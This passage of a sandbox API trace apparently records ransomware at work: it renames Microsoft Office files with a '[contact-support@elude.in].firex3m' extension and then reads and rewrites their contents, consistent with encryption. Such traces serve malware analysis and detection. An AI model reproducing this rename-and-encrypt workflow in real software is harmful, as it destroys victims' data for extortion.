Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x220a2ef1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2277a, dwReserved0=0xdd07496, dwReserved1=0x72f51a0, cFileName="LYNC_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_O~4.FIR")) returned 0x6d52c0 [0154.539] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0154.539] Sleep (dwMilliseconds=0x1) [0154.549] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP", len=0x46 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP") returned 1 [0154.549] GetProcessHeap () returned 0x630000 [0154.549] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b78) returned 0x713f7f0 [0154.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\servwrap.asp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0154.555] CloseHandle (hObject=0x674) returned 1 [0154.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.555] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\servwrap.asp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\servwrap.asp.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.559] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SERVWR~1.FIR")) returned 0x6d52c0 [0154.560] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0154.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\servwrap.asp.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0154.561] GetProcessHeap () returned 0x630000 [0154.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x301) returned 0x671c18 [0154.561] GetProcessHeap () returned 0x630000 [0154.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x301) returned 0x69ec20 [0154.561] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.561] ReadFile (in: hFile=0x710, lpBuffer=0x671c18, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x671c18*, lpNumberOfBytesRead=0x2ffff0c*=0x2e0, lpOverlapped=0x0) returned 1 [0154.571] GetProcessHeap () returned 0x630000 [0154.571] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0154.571] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.571] WriteFile (in: hFile=0x710, lpBuffer=0x69ec20*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x69ec20*, lpNumberOfBytesWritten=0x2ffff0c*=0x2e0, lpOverlapped=0x0) returned 1 [0154.571] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.571] WriteFile (in: hFile=0x710, lpBuffer=0x69eeff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x69eeff*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0154.571] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.571] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0154.572] CloseHandle (hObject=0x710) returned 1 [0154.925] GetProcessHeap () returned 0x630000 [0154.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69ec20 | out: hHeap=0x630000) returned 1 [0154.925] GetProcessHeap () returned 0x630000 [0154.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x671c18 | out: hHeap=0x630000) returned 1 [0154.925] GetProcessHeap () returned 0x630000 [0154.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0154.925] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2213b4b7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0xdd07496, dwReserved1=0x671c10, cFileName="SERVWRAP.ASP.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SERVWR~1.FIR")) returned 0x6d5580 [0154.925] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0154.925] Sleep (dwMilliseconds=0x1) [0157.028] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\PowerViewRes.eu.xap", len=0x65 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\PowerViewRes.eu.xap") returned 1 [0157.028] GetProcessHeap () returned 0x630000 [0157.028] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b4c) returned 0x707d3d0 [0157.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\PowerViewRes.eu.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\eu\\powerviewres.eu.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0157.029] CloseHandle (hObject=0x678) returned 1 [0157.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0157.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\PowerViewRes.eu.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\eu\\powerviewres.eu.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\PowerViewRes.eu.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\eu\\powerviewres.eu.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0157.030] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0157.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\PowerViewRes.eu.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edc8, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.eu.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0157.030] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0157.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\PowerViewRes.eu.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\eu\\powerviewres.eu.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0157.030] GetProcessHeap () returned 0x630000 [0157.030] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x731cfd8 [0157.030] GetProcessHeap () returned 0x630000 [0157.030] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f3df90 [0157.031] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.031] ReadFile (in: hFile=0x678, lpBuffer=0x731cfd8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x731cfd8*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0163.914] GetProcessHeap () returned 0x630000 [0163.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176c28 [0163.915] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.915] WriteFile (in: hFile=0x678, lpBuffer=0x6f3df90*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3df90*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0163.915] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.915] WriteFile (in: hFile=0x678, lpBuffer=0x6f4938f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4938f*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.370] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.370] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.371] CloseHandle (hObject=0x678) returned 1 [0165.371] GetProcessHeap () returned 0x630000 [0165.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3df90 | out: hHeap=0x630000) returned 1 [0165.371] GetProcessHeap () returned 0x630000 [0165.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731cfd8 | out: hHeap=0x630000) returned 1 [0165.375] GetProcessHeap () returned 0x630000 [0165.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176c28 | out: hHeap=0x630000) returned 1 [0165.375] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.376] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\PowerViewRes.eu.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28852e62, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4edec, dwReserved0=0xdd07496, dwReserved1=0x731cfd0, cFileName="PowerViewRes.eu.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4f40 [0165.376] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0165.376] Sleep (dwMilliseconds=0x1) [0165.385] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.385] GetProcessHeap () returned 0x630000 [0165.385] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bec) returned 0x707d3d0 [0165.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1042\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0166.651] CloseHandle (hObject=0x6f4) returned 1 [0166.651] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1042\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1042\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0170.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0170.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5540 [0170.731] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0170.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1042\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0170.732] GetProcessHeap () returned 0x630000 [0170.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f98110 [0170.732] GetProcessHeap () returned 0x630000 [0170.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7393dd0 [0170.732] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.733] ReadFile (in: hFile=0x6f4, lpBuffer=0x6f98110, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f98110*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0177.851] GetProcessHeap () returned 0x630000 [0177.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0177.851] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.851] WriteFile (in: hFile=0x6f4, lpBuffer=0x7393dd0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.085] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.086] WriteFile (in: hFile=0x6f4, lpBuffer=0x739f1cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f1cf*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.108] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.108] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.108] CloseHandle (hObject=0x6f4) returned 1 [0180.108] GetProcessHeap () returned 0x630000 [0180.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0180.108] GetProcessHeap () returned 0x630000 [0180.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f98110 | out: hHeap=0x630000) returned 1 [0180.111] GetProcessHeap () returned 0x630000 [0180.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0180.111] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x314d4568, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10e84, dwReserved0=0xdd07496, dwReserved1=0x6f98108, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5580 [0180.111] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0180.111] Sleep (dwMilliseconds=0x1) [0182.112] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr", len=0x4a | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr") returned 1 [0182.112] GetProcessHeap () returned 0x630000 [0182.112] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a88) returned 0x707d3d0 [0182.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookaddr.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0182.113] CloseHandle (hObject=0x5e4) returned 1 [0182.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookaddr.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookaddr.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.114] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaebc65e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d9c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookAddr.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE51CC~1.FIR")) returned 0x6d5280 [0182.114] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookaddr.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0182.114] GetProcessHeap () returned 0x630000 [0182.114] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7045170 [0182.114] GetProcessHeap () returned 0x630000 [0182.114] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x740fbe0 [0182.115] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.115] ReadFile (in: hFile=0x5e4, lpBuffer=0x7045170, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7045170*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.460] GetProcessHeap () returned 0x630000 [0190.460] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0190.460] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.460] WriteFile 